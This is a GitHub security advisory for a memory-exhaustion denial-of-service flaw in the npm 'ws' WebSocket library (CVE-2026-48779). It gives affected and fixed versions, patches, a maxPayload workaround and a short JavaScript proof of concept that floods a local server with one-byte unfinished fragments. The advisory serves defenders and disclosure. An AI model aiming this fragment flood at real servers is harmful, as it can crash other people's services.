GitHub Advisoryadvisory · npm
GHSA-96hv-2xvq-fx4p ws: Memory exhaustion DoS from tiny fragments and data chunks
HIGH
Official page ↗
- Aliases
- CVE-2026-48779
- Ecosystem
- npm
- Packages
- ws
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1050, CWE-400, CWE-770
- Reviewed
- 2026-06-15
Affected packages
• npm ws: >= 1.1.0, < 5.2.5 → fixed in 5.2.5
• npm ws: >= 6.0.0, < 6.2.4 → fixed in 6.2.4
• npm ws: >= 7.0.0, < 7.5.11 → fixed in 7.5.11
• npm ws: >= 8.0.0, < 8.21.0 → fixed in 8.21.0
Description
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
```js
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
```
Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
Related
Alias · CVE (1)
- CVE-2026-48779 ws is an open source WebSocket client and server for Node.js. vulnerability
References
- https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p web
- https://nvd.nist.gov/vuln/detail/CVE-2026-48779 advisory
- https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8 web
- https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94 web
- https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53 web
- https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7 web
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json web
- https://github.com/websockets/ws package
- https://bugzilla.redhat.com/show_bug.cgi?id=2489661 web
- https://access.redhat.com/security/cve/CVE-2026-48779 web
- https://access.redhat.com/errata/RHSA-2026:37272 web
- https://access.redhat.com/errata/RHSA-2026:36820 web
- https://access.redhat.com/errata/RHSA-2026:36754 web
- https://access.redhat.com/errata/RHSA-2026:34342 web
- https://access.redhat.com/errata/RHSA-2026:33574 web
- https://access.redhat.com/errata/RHSA-2026:33183 web
- https://access.redhat.com/errata/RHSA-2026:33173 web
- https://access.redhat.com/errata/RHSA-2026:33163 web
- https://access.redhat.com/errata/RHSA-2026:33160 web
- https://access.redhat.com/errata/RHSA-2026:33155 web
- https://access.redhat.com/errata/RHSA-2026:29197 web
- https://access.redhat.com/errata/RHSA-2026:27171 web
- https://access.redhat.com/errata/RHSA-2026:26638 web